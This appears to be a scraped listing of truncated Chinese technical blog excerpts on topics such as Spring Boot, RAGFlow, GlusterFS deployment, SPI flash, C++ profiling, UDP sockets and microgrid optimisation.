⛰️个人主页: 蒾酒 &#x1f525;系列专栏&#xff1a;《spring boot实战》 &#x1f30a;山高路远&#xff0c;行路漫漫&#xff0c;终有归途 目录 写在前面 实现思路 实现步骤 1.定义防重复提交注解 2.编写一个切面去发现该注解然后执行防重复提交逻辑 3.测试 …

RAGFlow:基于OCR和文档解析的下一代 RAG 引擎

一、引言 在人工智能的浪潮中&#xff0c;检索增强生成&#xff08;Retrieval-Augmented Generation&#xff0c;简称RAG&#xff09;技术以其独特的优势成为了研究和应用的热点。RAG技术通过结合大型语言模型&#xff08;LLMs&#xff09;的强大生成能力和高效的信息检索系统…

书生·浦语大模型实战营 | 第2次学习笔记

前言 书生浦语大模型应用实战营 第二期正在开营&#xff0c;欢迎大家来学习。&#xff08;参与链接&#xff1a;课程升级&#xff0c;算力免费&#xff0c;书生浦语实战营第二期学员招募&#xff5c;活动预告https://mp.weixin.qq.com/s/YYSr3re6IduLJCAh-jgZqg&#xff09; …

GFS部署实验

目录 1、部署环境 ​编辑 2、更改节点名称 3、准备环境 4、磁盘分区&#xff0c;并挂载 5. 做主机映射--/etc/hosts/ 6. 复制脚本文件 7. 执行脚本完成分区 8. 安装客户端软件 1. 创建gfs 2. 安装解压源包 3. 安装 gfs 4. 开启服务 9、 添加节点到存储信任池中 1…

SpringBoot项目如何国际化操作,让你可以随意切换语言

1.前言 最近接触的项目需要中文/英文或者其他国家语言的切换&#xff0c;在后台的时候有一个选择&#xff0c;你可以选择中文还是英文&#xff0c;或者其他语言&#xff0c;选择完毕界面语言就都变了&#xff0c;咱不知道前端怎么操作的&#xff0c;但是后台在处理提示语的时候…

软件SPI读写W25Q64

文章目录 前言接线引脚定义图 软件SPI读写W25Q64代码规划代码实现ThisSPI.cThisW25Q64.cmain.c 前言 SPI介绍&#xff1a;https://blog.csdn.net/qq_53922901/article/details/137142038 W25Q64介绍&#xff1a; https://blog.csdn.net/qq_53922901/article/details/137197048…

C++性能测试工具

使用示例main.cpp // g-13 -O3 -stdc17 main.cpp profile.cpp #include <iostream> #include <chrono> #include <stdint.h> #include <mutex> // std::mutex#include "profile.h" #include "profile_rdtsc.h"std::mut…

Java基于SpringBoot+Vue 的医院预约挂号系统

博主介绍&#xff1a;✌程序员徐师兄、10年大厂程序员经历。全网粉丝12W、csdn博客专家、掘金/华为云/阿里云/InfoQ等平台优质作者、专注于Java技术领域和毕业项目实战✌ &#x1f345;文末获取源码联系&#x1f345; &#x1f447;&#x1f3fb; 精彩专栏推荐订阅&#x1f447…

【问题记录】使用Audition播放时低8位数据会被修改

一&#xff0c;问题现象记录 使用Audition连接UAC播放采样点数据比较大的时候&#xff0c;低8位的数据会被修改。如果对低8位数据敏感的情况&#xff0c;需要使用其他播放器进行播放。 二&#xff0c;问题复现 1&#xff0c;使用C代码生成一个PCM文件&#xff1a; #include…

智慧水库解决方案(打造水库智慧监测体系)

​作为一名水利自动化系统集成商,最近我司接手了一个智慧水库建设项目。这个项目位于一座山区的大型水库,目的是对其进行现代化、智能化改造,提升供水、防洪等管理水平。&#xff08;key-iot.com.cn&#xff09; 在方案设计之初,我们组织了现场勘测,全面了解水库的实际情况。这…

win11系统和ubuntu双系统首次连接网线上网流程

硬件准备 首先需要将网线连接到电脑&#xff0c;另一头可以连接交换机或者路由器 上网前需要拨号上网&#xff0c;如果是连的路由器&#xff0c;那么一台路由器上拨号一次就行了。 如果是连的交换机需要拨号上网 这里踩的第一个坑是刚开始电脑连的是交换机1又连的交换机2&…

STM32中C编程引入C++程序

C具备类的创建思想很实用于实际场景多相似性的框架搭建&#xff1b;同种类型或相似类型的C的优势明显因此进行相互嵌套使用 需要在C中使用C类的话&#xff0c;你可以通过C的“extern "C"”语法来实现。这允许你在C代码中使用C的链接方式&#xff0c;而在C代码中使用…

【Linux】UDP编程【上】{诸多编程接口/小白入门式讲解}

文章目录 0.预备知识0.1套接字0.2TCP/UDP0.3大小端问题 1.socket 常见API1.1socket1.2各个接口1.3int bind();1.3网络头文件四件套1.4bzero1.5recvfrom1.6sendto() 2.UDP编程2.1服务器编程2.2客户端编程2.3运行测试2.3.1本机通信2.3.2popen2.3.3strcasestr2.3.4回顾C11智能指针…

微电网优化:基于肝癌算法(Liver Cancer algorithm, LCA)的微电网优化(提供MATLAB代码)

一、微电网优化模型 微电网是一个相对独立的本地化电力单元&#xff0c;用户现场的分布式发电可以支持用电需求。为此&#xff0c;您的微电网将接入、监控、预测和控制您本地的分布式能源系统&#xff0c;同时强化供电系统的弹性&#xff0c;保障您的用电更经济。您可以在连接…